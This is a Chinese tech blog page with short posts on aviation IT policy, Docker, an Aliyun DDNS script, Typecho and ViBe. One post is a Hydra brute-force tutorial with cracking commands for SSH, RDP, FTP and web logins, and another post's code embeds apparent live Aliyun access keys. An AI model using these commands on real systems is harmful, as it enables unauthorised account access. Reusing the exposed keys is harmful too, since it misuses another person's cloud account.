,民航旅客服务系统、货运系统、收入管理系统、结算系统不断扩容升级,航空企业信息化覆盖离港飞行、到港、市场销售、服务等业务流的各功能环节。初步建成了民航电子商务运行大数据信息网络、国产电子客票系统成功投产、新一代智能旅客服务系统推广应用,民航信息化水平和能力得以快速提升。三是民航信息化融合发展越来越紧。十三五期间,我们与中国电科、中科院、中船 工业、北航大、南航大等公司、科研院所、高校加强产业合作,组建民航科教创新攻关联盟、成立民航高质量发展研究中心、新技术应用领导小组等不断集聚行业内外优势资源和力量:深化局企局校信息发展合作,我们与铁路部门签署战略合作协议,扩大空铁联运信息共享,设计开发联乘运输产品,实现旅客一站购票,开启了铁路车次,航班信息的数据共享时代,我们与华为、腾讯、百度、阿里等IT企业共商信息化发展技术架构,共议信息化发展未来场景应用,共享信息化发展经验案例,进一步深化了信息化发展多方参与的格局。通过这些战略合作,实现资源共享、信息互通、融合发展,为推动民航高质量发展提供了有力科技支撑。四是民航信息化作用越来越好。"十三五”以来,我们以行业信息化为抓手,扎实推进四型机场、四强空管建设,行业信息化建设的应用场景在行业中越来越广泛。从运行环节看,民航空管三中心工程正式投运,大幅提升空管运行保障能力,民航流量管理、航空气象和航情情报服务能力以及航空公司机场和空中交通管理部门之间的统筹协调能力,全国民航流量系统正式全网试验运行,为加快建立以流量管理为核心的空管运行服务体系尊定了坚实基础。GPS等国产自主卫星导航应用持续提升,为进一步提高我国民航可靠安全的运营提供重要技术支撑,不断深化航权、时刻和预先飞行计划的三网数据融合,推动机场、空管、航司间关键运行数据共享,进一步提升航班运行效率和航班正常率。从服务环节看,全国234座机场实现了国内航班无纸化便捷出行,千万级机场国内旅客自助值机占比超过7成,旅客排队时间大大减少;12家机场撤试运行预安检服务,通行效率明显提高;人脸识别只需2秒钟,准确率能达到99.8%,远高于人工识别准确率。北京大兴国际机场和成都天府国际机场采用的行李自动化传输系统大大提高了行李的传输效率,部分机场航站楼实现一站购票、一证通关、无缝衔接。从监管环节看通过云、大数据、人工智能等信息化手段,推行互联网+监管,推动SaaS系统建设,创新监管方式、试点非现场监管、加强事中事后监管,推广精准监管示范做法,开展差异化监管试点,以监管模式转型推动了安全管理水平提升。五是民航信息化安全屏障越来越牢。"十三五"期间,民航局高度重视信息网络安全问题,积极推动网络安全等级保护制度在行业的落实,加大数据治理和数据共享,加快制定完善相关行业标准,推进国产化设备使用。目前全行业共有300多个等级保护三级系统、800多个等级保护二级系统,已经建立了行业级的网络与信息安全管理平台,面向民航2000多个互联网网站和应用系统,实时监测行业整体安全状态,行业网络保护不断加强,为重要生产运行系统筑牢了安全防线提供了有力保障。第二方面,准确把握"十四五”时期民航信息化建设形势特点。"十四五”时期是我国由全面建成小康社会向基本实现社会主义现代化迈进的关键时期,也是我们由单一航空运输强国向多领域民航强国迈进的筑基器。智慧民航建设是多领域民航强国建设的重要机手,是“十四五”时期民航发展的工作主线,我们要以智慧民航建设为引领,准确把握信息化发展的新形势、新特点。一是牢牢把握数字化转型新趋势,为国家经济发展提供强劲动能。随着数字经济在全球范囤的高速发展,世界经济数字化转型是大势所趋,数字经济已成为世界经济的重要发展方向。我们应该看到近年来我国网上购物、在线教育、远程医疗等非接触经济全面提速,数字经济为推动中国经济高质量发展提供了路径,一方面国民经济数字化转型为民航发展创造了良好环境,另一方面,民航数字化转型为现代化经济体系构建提供支撑。我们要把数字经济转型快速发展带来的新机遇,顺应数字经济时代的新趋势进一步加快民航数字化转型,以数字化提高质量、推动创新、深化改革。二是牢牢把握智慧化发展新趋势,为民航强国建设提供全新机遇。"十四五”时期是民航开启多领域民航强国建设新征程的起步阶段,需要更加安全、更高效率、更有质量的发展,民航局把推进智慧民航建设作为行业工作主线,作为在新时代推动创新驱动发展战略、培育扩大行业发展新空间,提升行业安全发展质量和效率的重要推动力,作为实现多领域民航强国建设的必由之路。我们要对智慧民航的理念思路、战略目标、任务路径有更清晰的认识,牢牢抓住转型发展机遇,巩固在交通运输系统中的比较优势和核心党争力,要以智慧化提升安全水平、提升运行效率、提升服务品质,创造行业更长安全周期,提高行业全要素生产率,让旅客充分享受民航发展带来的获得感、幸福感。三是牢牢把握平台建设新趋势,为民航高质量发展提供有力支撑。随着"十四五”期间行业规模的进一步扩大,信息技术的新一部升级、信息管理的进一步完善,我们对平台建设的需求将更加迫切,我们要充分认识平台化建设的必要性和紧迫性,牢牢把握平台建设的契机,承担起平台化建设的责任,要利用好传统平台、优化好已有平台、搭建好创新平台,充分发挥信息化平台对行业信息化的推动作用。第三方面,统筹谋划民航信息化建设目标任务。当前,世界面临百年未有之大变局,特别是新冠肺炎疫情更推动了国际秩序加快调整,加速推动了全球数字化进程。中国民航要想更好地顺应新的发展趋势,实现民航信息化的大发展,就必须抓住机遇,形成合力,以智慧民航建设为牵引,大力推进信息化,用信息化培育新动能,用新动能推动新发展,切实做好信息化建设这项系统工程,努力开创新时代民航信息化工作的新局面。一是顶层设计要提为。目前我们已基本完成了民航发展"十四五”规划编制工作,智慧民航建设被纳入到总体规划中并对其定位任务进行了明确部署,在未来的信息化建设中我们要通盘谋划、抓好统筹,不断扩大顶层设计维度,坚持大格局大视野,放眼全球,与国际上信息化发展趋势结合起来,与我国信息化主体规划结合起来,加强与其他行业信息化发展路径的衔接,立足行业、跳出行业看行业,全力整合行业资源,制定出与全球趋势更贴切、与我国国情更适合、与行业发展更匹配的信息化规划、信息化路径和信息化标准。二是投入标准要提高。要充分利用民航发展基金的杠杆作用,制定和完善鼓励信息化建设的财政支持政策,拟定机场新技术产品名录指南,制定新技术应用推广路线图,对新技术成果应用信息化人才培养等信息化建设各场工作给予财政倾斜和财经支持,为推进信息化建设转型升级、实现民航信息化高质量发展提供坚实的资金保障;行业各相关企事业单位也要加大对信息化的资金投入力度,在有限的资金中尽量向信息化项目倾斜,不断完善信息化技术设施,全力支持行业信息化建设。三是新基建要提速。要把握信息基础设施建设快速演进升级的重要契机,加强顶层设计和前瞻布局,切实落实好推动新型基础设施建设,促进民航高质量发展实施意见和推动基础设施建设五年行动方案,在行业安全管理、机场运行服务、空中交通管理、市场监管、通用航空及无人机发展等方面加快推进以数字技术为基础的新基建,做好智慧民航监管服务系统示范项目,形成民航智慧监管的生态系统根基,并示范带动行业各方向、各领域新基建工作开展,统筹推进行业传统基础设施与新型基础设施建设,全面优化和提升行业安全服务运行水平。四是实现应用要提级。要不断加强对行业各领域信息资源的统筹管理和数据资源的开发利用,加强技术设备标准的研究推广,大力推进智慧机场、智慧空管建设,通过建立高效运行可靠的安全生产信息系统,提升风险防范能力、丰富安全监管手段、提高安全管理效能,利用更多的信息化手段加强ACDM和 CDM协同联动,科学加强航班预先计划安排和航班计划执行,实现资源共享和协同决策最大化,从而提升航班正常率;以大数据应用、移动互联网为平台,不断创新服务模式,在改签中转、旅客步行距离、行李运输等环节上下功夫,探索全流程便利化服务功能,将信息化应用覆盖民航全领域全流程全要素。五是专业人才队伍要提质,民航所具有的高技术属性决定了这个行业对于高素质人才的迫切需求,特别是要发展民航信息化更需要一大批既懂信息技术又熟悉专业知识的高素质人才来承担信息化技术研究、开发推广、服务应用、高级管理等工作。我们要高度重视信息化专业人才队伍建设工作,民航院校要加强信息化人才培养、做好人才储备:科研院所要创新推行人才激励机制,提高人才待遇、改善人才环境,留住人才、用好人才;各企事业单位要通过完善管理、培训和考核制度提升相关人员专业技能、提高人才队伍综合能力和素质。六是网络安全保障能力要提升。面对全球范围内复杂的网络安全形势,要进一步优化网络安全管理制度体系,加强网络安全技术保障体系建设,有效落实网络安全保护"三化六防”措施,落实民航关键信息基础设施安全保护制度,通过智慧化手段提升民航网络安全监测预警和应急处置能力,有效应对智慧民航网络安全风险隐患,确保网络安全重大事件得到有效防范、遏制和处置,全面提升行业网络安全保障能力。各位来宾,同志们,信息化建设是一项长期而重要的系统工程,需要我们高度重视、长抓不懈,我们要坚持以智慧民航建设为主线不动摇,勇于创新、锐意进取,不断提高行业信息化水平,用信息化高质量发展助力民航高质量发展为我国数字经济高质量发展发挥更大作用,做出更大贡献祝本次论坛圆满成功,谢谢大家!
2021年12月09日
502 阅读
0 评论
0 点赞
2021-12-08
Firefox Send:临时文件分享系统快速搭建
1.介绍Firefox Send是Firefox推出的一個全新的临时文件分享系统2. 使用Docker快速完成搭建2.1 安装Docker自行百度完成2.2 拉取镜像docker run --name send -d -p 1443:1443 moerats/send然后使用ip:1443访问即可,如果你想用其它端口,就更改前面的1443参数,比如8888:1443。3.修改文件上传大小上限找到目标容器ID# 找到目标容器ID docker psCONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES 930ef8b92222 moerats/send "/start.sh" 12 minutes ago Up 12 minutes 0.0.0.0:1443->1443/tcp send ···进入容器# 进入容器 docker attach 930ef8b92222修改/send/server/config.js的内容apt install vim··· anon_max_file_size: { format: Number, default: 1024 * 1024 * 1024 * 5, # 修改文件大小上限这里 env: 'ANON_MAX_FILE_SIZE' }, ···重启容器参考资料使用Firefox Send搭建一个临时文件分享系统
2021年12月08日
1,957 阅读
0 评论
0 点赞
2021-12-08
AliyunDNSHelper:阿里云dns解析助手-python实现
1.准备工作首先得有一个阿里云的域名https://www.aliyun.com/minisite/goods安装阿里云SDK和其他第三方库pip install aliyun-python-sdk-core-v3 pip install aliyun-python-sdk-domain pip install aliyun-python-sdk-alidns pip install requests获取accessKeyId和accessSecret可以在阿里云控制台个人中心直接获取,但是一般建议使用RAM角色来进行权限控制,这样这个accessKey和accessSecret就只能操作域名,不能操作其他的资源,相对会比较安全。关于RAM快速入门:https://help.aliyun.com/document_detail/28637.html2.代码实现2.1 ali-dns-helper.py`from aliyunsdkcore.client import AcsClient from aliyunsdkcore.acs_exception.exceptions import ClientException from aliyunsdkcore.acs_exception.exceptions import ServerException from aliyunsdkalidns.request.v20150109.DescribeSubDomainRecordsRequest import DescribeSubDomainRecordsRequest from aliyunsdkalidns.request.v20150109.DescribeDomainRecordsRequest import DescribeDomainRecordsRequest import requests from urllib.request import urlopen import json class AliyunDNSHelper: def __init__(self,accessKeyId = "LTAI4GHqgJgbzPfNnkwyGqks",accessSecret = "CzXkUS8BWcjJ7qEbKrqg6qxUOdnW6M",domain = "4v7p.top"): """ 阿里云DNS助手初始化 需要传入自己的accessKeyId、accessSecret、domain """ self.client = AcsClient(accessKeyId, accessSecret, 'cn-hangzhou') self.domain = domain def update(self,RecordId, RR, Type, Value): """ 修改域名解析记录方法 参数列表: + RecordId:调用查询方法时候查到对应的记录会返回 + RR:记录名即子域名 + Type:记录类型包括CNAME、A、AAAA等 + Value:记录值 """ from aliyunsdkalidns.request.v20150109.UpdateDomainRecordRequest import UpdateDomainRecordRequest request = UpdateDomainRecordRequest() request.set_accept_format('json') request.set_RecordId(RecordId) request.set_RR(RR) request.set_Type(Type) request.set_Value(Value) response = self.client.do_action_with_exception(request) def add(self,DomainName, RR, Type, Value): """ 添加新的域名解析记录方法 参数列表: + DomainName:待修改的主域名 + RR:记录名即子域名 + Type:记录类型包括CNAME、A、AAAA等 + Value:记录值 """ from aliyunsdkalidns.request.v20150109.AddDomainRecordRequest import AddDomainRecordRequest request = AddDomainRecordRequest() request.set_accept_format('json') request.set_DomainName(DomainName) request.set_RR(RR) # https://blog.zeruns.tech request.set_Type(Type) request.set_Value(Value) response = self.client.do_action_with_exception(request) def select(self,subDomian): """ 查询子域域名解析记录 参数列表: + subDomian:子域名 """ request = DescribeSubDomainRecordsRequest() request.set_accept_format('json') request.set_DomainName(self.domain) request.set_SubDomain(subDomian + '.' + self.domain) response = self.client.do_action_with_exception(request) # 获取域名解析记录列表 domain_list = json.loads(response) # 将返回的JSON数据转化为Python能识别的 if domain_list["TotalCount"]==0: return None return domain_list["DomainRecords"]["Record"][0] def action(self,subDomian,Value,Type="A"): """ 执行用户关于DNS操作的的行为 参数列表: + action_type操作类型,包括add,update + subDomian:记录名即子域名 + Type:记录类型包括CNAME、A、AAAA等 + Value:记录值 """ print("待处理的记录为 %s:%s-->Domain:%s" % (Type,Value,subDomian + '.' + self.domain)) subDomian_record = self.select(subDomian) if subDomian_record: RecordId,RecordValue = subDomian_record["RecordId"],subDomian_record["Value"] if Value==RecordValue: print("该域名解析记录已存在,跳过") else: self.update(RecordId, subDomian, Type, Value) print("修改域名解析成功") else: self.add(self.domain, subDomian, Type, Value) print("新建域名解析成功") dnsHelper = AliyunDNSHelper(accessKeyId = "LTAI4GHqgJgbzPfNnkwyGqks",accessSecret = "CzXkUS8BWcjJ7qEbKrqg6qxUOdnW6M",domain = "4v7p.top") sub_domain = input("SubDomian:") value = input("value:") sub_domain_type = input("Type:") dnsHelper.action(sub_domain,value,sub_domain_type)2.2 ali-ddns-ipv6.py:实现ipv6 DDNS功能(ipv4同理)2.2.1 获取本机公网ipv6地址方法1:通过http接口获取(推荐)def getIPv6Address(): text = requests.get('https://v6.ident.me').text return text getIPv6Address()'2001:da8:a012:2da:2f0:d2ff:fed0:d0d2'方法2:python执行shell命令--其中的shell命令需要根据实际情况进行修改def get_local_ipv6(): """ 获取本机ipv6地址,其中的shell命令需要根据实际情况进行修改 """ import os; cmd_get_ipv6 = "ifconfig enp1s0 | awk '{if(NR==3){print $3}}'" # 获取本机ipv6的shell命令,需要根据实际情况进行修改 ipv6 = os.popen(cmd_get_ipv6).readlines()[0] if "/" in ipv6: ipv6 = ipv6.split("/")[0] return ipv6 get_local_ipv6()'2001:da8:a012:2da:2f0:d2ff:fed0:d0d2'2.2.2 配合time.sleep完成DDNS功能from aliyunsdkcore.client import AcsClient from aliyunsdkcore.acs_exception.exceptions import ClientException from aliyunsdkcore.acs_exception.exceptions import ServerException from aliyunsdkalidns.request.v20150109.DescribeSubDomainRecordsRequest import DescribeSubDomainRecordsRequest from aliyunsdkalidns.request.v20150109.DescribeDomainRecordsRequest import DescribeDomainRecordsRequest import requests from urllib.request import urlopen import json import time class AliyunDNSHelper: def __init__(self,accessKeyId = "LTAI4GHqgJgbzPfNnkwyGqks",accessSecret = "CzXkUS8BWcjJ7qEbKrqg6qxUOdnW6M",domain = "4v7p.top"): """ 阿里云DNS助手初始化 需要传入自己的accessKeyId、accessSecret、domain """ self.client = AcsClient(accessKeyId, accessSecret, 'cn-hangzhou') self.domain = domain def update(self,RecordId, RR, Type, Value): """ 修改域名解析记录方法 参数列表: + RecordId:调用查询方法时候查到对应的记录会返回 + RR:记录名即子域名 + Type:记录类型包括CNAME、A、AAAA等 + Value:记录值 """ from aliyunsdkalidns.request.v20150109.UpdateDomainRecordRequest import UpdateDomainRecordRequest request = UpdateDomainRecordRequest() request.set_accept_format('json') request.set_RecordId(RecordId) request.set_RR(RR) request.set_Type(Type) request.set_Value(Value) response = self.client.do_action_with_exception(request) def add(self,DomainName, RR, Type, Value): """ 添加新的域名解析记录方法 参数列表: + DomainName:待修改的主域名 + RR:记录名即子域名 + Type:记录类型包括CNAME、A、AAAA等 + Value:记录值 """ from aliyunsdkalidns.request.v20150109.AddDomainRecordRequest import AddDomainRecordRequest request = AddDomainRecordRequest() request.set_accept_format('json') request.set_DomainName(DomainName) request.set_RR(RR) # https://blog.zeruns.tech request.set_Type(Type) request.set_Value(Value) response = self.client.do_action_with_exception(request) def select(self,subDomian): """ 查询子域域名解析记录 参数列表: + subDomian:子域名 """ request = DescribeSubDomainRecordsRequest() request.set_accept_format('json') request.set_DomainName(self.domain) request.set_SubDomain(subDomian + '.' + self.domain) response = self.client.do_action_with_exception(request) # 获取域名解析记录列表 domain_list = json.loads(response) # 将返回的JSON数据转化为Python能识别的 if domain_list["TotalCount"]==0: return None return domain_list["DomainRecords"]["Record"][0] def action(self,subDomian,Value,Type="A"): """ 执行用户关于DNS操作的的行为 参数列表: + action_type操作类型,包括add,update + subDomian:记录名即子域名 + Type:记录类型包括CNAME、A、AAAA等 + Value:记录值 """ print("待处理的记录为 %s:%s-->Domain:%s" % (Type,Value,subDomian + '.' + self.domain)) subDomian_record = self.select(subDomian) if subDomian_record: RecordId,RecordValue = subDomian_record["RecordId"],subDomian_record["Value"] if Value==RecordValue: print("该域名解析记录已存在,跳过") else: self.update(RecordId, subDomian, Type, Value) print("修改域名解析成功") else: self.add(self.domain, subDomian, Type, Value) print("新建域名解析成功") def getIPv6Address(): text = requests.get('https://v6.ident.me').text # 接口失效后需要及时进行修改 return text dnsHelper = AliyunDNSHelper(accessKeyId = "LTAI4GHqgJgbzPfNnkwyGqks",accessSecret = "CzXkUS8BWcjJ7qEbKrqg6qxUOdnW6M",domain = "4v7p.top") sub_domain = "d2550-ipv6" sub_domain_type = "AAAA" while True: print("当前时间:",time.strftime("%Y-%m-%d %H:%M:%S", time.localtime())) value = getIPv6Address() dnsHelper.action(sub_domain,value,sub_domain_type) time.sleep(2*3600) # 每隔2个小时执行1次然后配合screen命令或者去掉无限循环使用定时任务进行执行即可完成ipv6的DDNS的功能参考资料Python实现阿里云域名DDNS支持ipv4和ipv6python 3.7.3 shell_python3执行shell命令的几种方式Python 获取本机公网IPv6地址Python 日期和时间
2021年12月08日
766 阅读
0 评论
0 点赞
2021-12-08
Hydra:Linux下暴力破解工具--ssh/ftp等暴力破解
1.简介hydra是著名黑客组织thc的一款开源的暴力密码破解工具,可以在线破解多种密码。官网:http://www.thc.org/thc-hydra可支持破解密码类型:AFP, Cisco AAA, Cisco auth, Cisco enable, CVS, Firebird, FTP, HTTP-FORM-GET, HTTP-FORM-POST, HTTP-GET, HTTP-HEAD, HTTP-PROXY, HTTPS-FORM-GET, HTTPS-FORM-POST, HTTPS-GET, HTTPS-HEAD, HTTP-Proxy, ICQ, IMAP, IRC, LDAP, MS-SQL, MYSQL, NCP, NNTP, Oracle Listener, Oracle SID, Oracle, PC-Anywhere, PCNFS, POP3, POSTGRES, RDP, Rexec, Rlogin, Rsh, SAP/R3, SIP, SMB, SMTP, SMTP Enum, SNMP, SOCKS5, SSH (v1 and v2), Subversion, Teamspeak (TS2), Telnet, VMware-Auth, VNC and XMPP等。2.安装1.下载 https://www.thc.org/releases/hydra-8.3.tar.gz2.安装依赖包 如果是Debian和Ubuntu发行版,yum源里自带hydra,我们直接用apt-get在线安装。sudo apt-get -y install libssl-dev libssh-dev libidn11-dev libpcre3-dev libgtk2.0-dev libmysqlclient-dev libpq-dev libsvn-dev hydra gcc 对于Redhat/Centos/Fedora发行版,我们需要下载源码包,然后编译安装,因此先安装相关依赖包sudo yum -y install openssl-devel pcre-devel ncpfs-devel postgresql-devel libssh-devel subversion-devel gcc3.编译安装hydratar zxvf hydra-8.3.tar.gz cd hydra-8.3 ./configure --prefix=/path/to/hydra make && make install3.使用3.1 参数介绍hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e ns] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-f] [-s PORT] [-S] [-vV] server service [OPT] -R 继续从上一次进度接着破解。 -S 采用SSL链接。 -s PORT 可通过这个参数指定非默认端口。 -l LOGIN 指定破解的用户,对特定用户破解。 -L FILE 指定用户名字典。 -p PASS 小写,指定密码破解,少用,一般是采用密码字典。 -P FILE 大写,指定密码字典。 -e ns 可选选项,n:空密码试探,s:使用指定用户和密码试探。 -C FILE 使用冒号分割格式,例如“登录名:密码”来代替-L/-P参数。 -M FILE 指定目标列表文件一行一条。 -o FILE 指定结果输出文件。 -f 在使用-M参数以后,找到第一对登录名或者密码的时候中止破解。 -t TASKS 同时运行的线程数,默认为16。 -w TIME 设置最大超时的时间,单位秒,默认是30s。 -v / -V 显示详细过程。 server 目标ip service 指定服务名,支持的服务和协议:telnet ftp pop3[-ntlm] imap[-ntlm] smb smbnt http-{head|get} http-{get|post}-form http-proxy cisco cisco-enable vnc ldap2 ldap3 mssql mysql oracle-listener postgres nntp socks5 rexec rlogin pcnfs snmp rsh cvs svn icq sapr3 ssh smtp-auth[-ntlm] pcanywhere teamspeak sip vmauthd firebird ncp afp等等。 OPT 可选项3.2 具体使用方法介绍破解ssh的密码# hydra -L users.txt -P password.txt -vV -o ssh.log -e ns IP ssh破解https:# hydra -m /index.php -l username -P pass.txt IP https破解teamspeak:# hydra -l 用户名 -P 密码字典 -s 端口号 -vV ip teamspeak破解cisco:# hydra -P pass.txt IP cisco # hydra -m cloud -P pass.txt 10.36.16.18 cisco-enable破解smb:# hydra -l administrator -P pass.txt IP smb破解pop3:# hydra -l muts -P pass.txt my.pop3.mail pop3破解rdp:# hydra IP rdp -l administrator -P pass.txt -V破解http-proxy:# hydra -l admin -P pass.txt http-proxy://10.36.16.18破解telnet# hydra IP telnet -l 用户 -P 密码字典 -t 32 -s 23 -e ns -f -V破解ftp:# hydra IP ftp -l 用户名 -P 密码字典 -t 线程(默认16) -vV # hydra IP ftp -l 用户名 -P 密码字典 -e ns -vVget方式提交,破解web登录:# hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns IP http-get /admin/ # hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns -f IP http-get /admin/index.phppost方式提交,破解web登录:# hydra -l 用户名 -P 密码字典 -s 80 ip http-post-form "/admin/login.php:username=^USER^&password=^PASS^&submit=login:sorry password" # hydra -t 3 -l admin -P pass.txt -o out.txt -f 10.36.16.18 http-post-form "login.php:id=^USER^&passwd=^PASS^:wrong username or password" (参数说明:-t同时线程数3,-l用户名是admin,字典pass.txt,保存为out.txt,-f 当破解了一个密码就停止, 10.36.16.18目标ip,http-post-form表示破解是采用http的post方式提交的表单密码破解,<title>中的内容是表示错误猜解的返回信息提示。)破解imap:# hydra -L user.txt -p secret 10.36.16.18 imap PLAIN # hydra -C defaults.txt -6 imap://[fe80::2c:31ff:fe12:ac11]:143/PLAIN此工具强大之处远多于以上测试,其密码能否破解关键在于强大的字典,对于社工型渗透来说,有时能够得到事半功倍的效果4.实例4.1 实例1:ssh暴力破解主机# 需要事先准备好密码字典pass.txt hydra -l root -P pass.txt -vV -o ssh.log -e ns 10.1.9.249 ssh # 需要事先准备好用户名字典users.txt和密码字典pass.txt hydra -L users.txt -P pass.txt -vV -o ssh.log -e ns 10.1.9.249 ssh输出Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes. Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-12-08 00:01:49 [WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4 [WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore [DATA] max 16 tasks per 1 server, overall 16 tasks, 34264 login tries (l:2/p:17132), ~2142 tries per task [DATA] attacking ssh://10.1.9.249:22/ [VERBOSE] Resolving addresses ... [VERBOSE] resolving done [INFO] Testing if password authentication is supported by ssh://root@10.1.9.249:22 [INFO] Successful, password authentication is supported by ssh://10.1.9.249:22 [ATTEMPT] target 10.1.9.249 - login "root" - pass "root" - 1 of 34264 [child 0] (0/0) [ATTEMPT] target 10.1.9.249 - login "root" - pass "" - 2 of 34264 [child 1] (0/0) ······ [ATTEMPT] target 10.1.9.249 - login "root" - pass "echina0228" - 8 of 34264 [child 7] (0/0) [ATTEMPT] target 10.1.9.249 - login "root" - pass "xiaxue123-$$" - 9 of 34264 [child 8] (0/0) ······参考资料hydra 使用介绍1400多万个弱口令密码字典下载Linux下暴力破解工具Hydra详解
2021年12月08日
721 阅读
0 评论
0 点赞
2021-12-07
Linux防爆破ssh脚本-通过修改/etc/hosts.deny实现
注意:需要使用root用户身份操作1.ubuntu方式脚本编写mkdir /script vim /script/checkBlackIp.sh#!/bin/sh lastb |awk '/ssh/{print $3}' |sort |uniq -c |awk '{print $2"="$1}' >/script/black.list for i in `cat /script/black.list` do IP=`echo $i |awk -F= '{print $1}'` NUM=`echo $i |awk -F= '{print $2}'` echo $IP:$NUM if [ $NUM -gt 2 ]; then grep $IP /etc/hosts.deny >/dev/null if [ $? -gt 0 ];then echo "sshd:$IP:deny" echo "sshd:$IP:deny" >>/etc/hosts.deny fi fi done手工运行测试sudo bash /script/checkBlackIp.sh定时2分钟执行1次crontab -e# 加入如下内容 */2 * * * * root sh /script/checkBlackIp.sh2.centerOS方式脚本编写mkdir /script vim /script/checkBlackIp.sh#!/bin/bash cat /var/log/secure|awk '/Failed/{print $(NF-3)}'|sort|uniq -c|awk '{print $2"="$1;}' > /script/black.txt for i in `cat /script/black.list` do IP=`echo $i |awk -F= '{print $1}'` NUM=`echo $i |awk -F= '{print $2}'` echo $IP:$NUM if [ $NUM -gt 2 ]; then grep $IP /etc/hosts.deny >/dev/null if [ $? -gt 0 ];then echo "sshd:$IP:deny" echo "sshd:$IP:deny" >>/etc/hosts.deny fi fi done手工运行测试sudo bash checkBlackIp.sh定时2分钟执行1次crontab -e# 加入如下内容 */2 * * * * root sh /script/checkBlackIp.sh参考资料Linux Contos Ubuntu防爆破ssh脚本
2021年12月07日
883 阅读
0 评论
0 点赞
2021-12-07
为你的Handsome主题添上滑稽小表情
1.食用指南1.1 上手操作解压 funny.zip ,你将会得到 funny 文件夹和 OwO.json 文件,操作前请做好相应备份工作只适用于 Handsome 主题funny 文件夹放于 handsome 主题 usr/img/emotion/ 目录下OwO.json 替换原文件,,此 OwO.json 文件位于 usr/ 目录下有人说表情默认显示太大,那就加个css调和下/*滑稽小表情自定义大小*/ .emotion-funny { width: 30px; } .comment-content-**true** img.emotion-funny { max-width: 100%!important; }文件下载点我下载 funny.zip2.成果展示
2021年12月07日
650 阅读
0 评论
0 点赞
2021-12-07
Typecho 网站域名更换方法
1.通用网站域名更换方法域名解析,把新网站域名解析到网站 IP 上修改 web 服务器配置文件,如 nginx.conf 、.htaccess、以及配置 SSL 证书等修改站点配置和网站内容2.Typecho 网站域名更换Typecho 网站的域名更换方法和上面的基本一致,在第三点上可能有一些通过数据库操作的便捷方法。对于网站配置和网站内容的修改,一种办法是进入到网站后台,挨个进行修改,只是这种方法太过于麻烦和耗时,另一种简易的办法是通过数据库直接进行修改,非常便捷,有遗漏的手动进行查漏补缺即可。以下 SQL 语句默认表前缀为 typecho_,若你的数据库表前缀不是 typecho_,请自行修改语句。2.1修改 typecho\_options 表将网站的设置里的域名替换成新的域名:UPDATE `typecho_options` SET `value` = '新域名地址' WHERE `typecho_options`.`name` = 'siteUrl' AND `typecho_options`.`user` =0;2.1修改 typecho\_contents 表将网站文章里的旧域名替换成新的域名:UPDATE `typecho_contents` SET `text` = REPLACE(`text`,'旧域名地址','新域名地址');2.3修改 typecho\_users 表将管理员的个人网站进行替换UPDATE `typecho_users` SET `url` = REPLACE(`url`,'旧域名地址','新域名地址');2.4修改 typecho\_comments 表对评论中的管理员的域名,和评论中的旧域名进行替换UPDATE `typecho_comments` SET `url` = REPLACE(`url`,'旧域名地址','新域名地址'); UPDATE `typecho_comments` SET `text` = REPLACE(`text`,'旧域名地址','新域名地址'); 如果使用的域名邮箱,也建议进行更换 UPDATE `typecho_comments` SET `mail` = REPLACE(`mail`,'旧域名地址','新域名地址');2.5查漏补缺如果还有其他的地方修改,参照上面的 SQL 语句进行替换即可,也可以进入网站后台手动进行修改~
2021年12月07日
1,466 阅读
3 评论
0 点赞
2021-12-07
ViBe(Visual Background Extractor)背景模型介绍与实现
1.原理介绍1.1 模型工作原理背景物体就是指静止的或是非常缓慢的移动的物体,而前景物体就对应移动的物体。所以我们可以把物体检测看出一个分类问题,也就是来确定一个像素点是否属于背景点。在ViBe模型中,背景模型为每个像素点存储了一个样本集,然后将每一个新的像素值和样本集进行比较来判断是否属于背景点。可以知道如果一个新的观察值属于背景点那么它应该和样本集中的采样值比较接近。该模型主要包括三个方面:(1)算法模型初始化;(2)像素的分类过程;(3)模型的更新策略。1.2关于样本集的大小假定我们要处理的每一帧图像是$M \times N$ 个像素的,$x$表示某帧图像的一个像素点。模型要为$M \times N$中每个像素建立一个样本集,$x$像素的样本集可以表示为$$ M(x)=\{p_1 , p_2 , p_3 … p_n\} $$每个样本集的大小为n,n这个值如何确定的,暂时不用管,一般是实验得出的,论文中取$n=20$。所以样本集的总大小为$M \times N \times n$。1.3模型的初始化初始化就是建立背景模型的过程。通用的检测算法的初始化需要一定长度的视频序列来完成,通常要耗费数秒的时间,这极大的影戏的检测的实时性,对于手持相机实时拍照来讲并不合适。ViBe的初始化仅仅通过一帧图像即可完成。ViBe初始化就是填充像素的样本集的过程。由于在一帧图像中不可能包含像素点的时空分布信息,我们利用了相近像素点拥有相近的时空分布特性,具体来讲就是:对于一个像素点$x$,随机的选择它的邻居点$NG(x)$的像素值作为它的模型样本值$M_0(x)$。$$ M_0(x) = {p_0(y | y ∈NG(x))} $$这种初始化方法的优缺点:优点对于噪声的反应比较灵敏,计算量小速度快,不仅减少了背景模型建立的过程,还可以处理背景突然变化的情况,当检测到背景突然变化明显时,只需要舍弃原始的模型,重新利用变化后的首帧图像建立背景模型。缺点用于作平均的几帧初始图像中可能采用了运动物体的像素,这种条件下初始化样本集,容易引入拖影(Ghost)区域;1.4像素的分类过程(前景检测)如下图,假定当前帧为第$ t$ 帧,$p_t(x)$表示第$ t$ 帧图像 $x$ 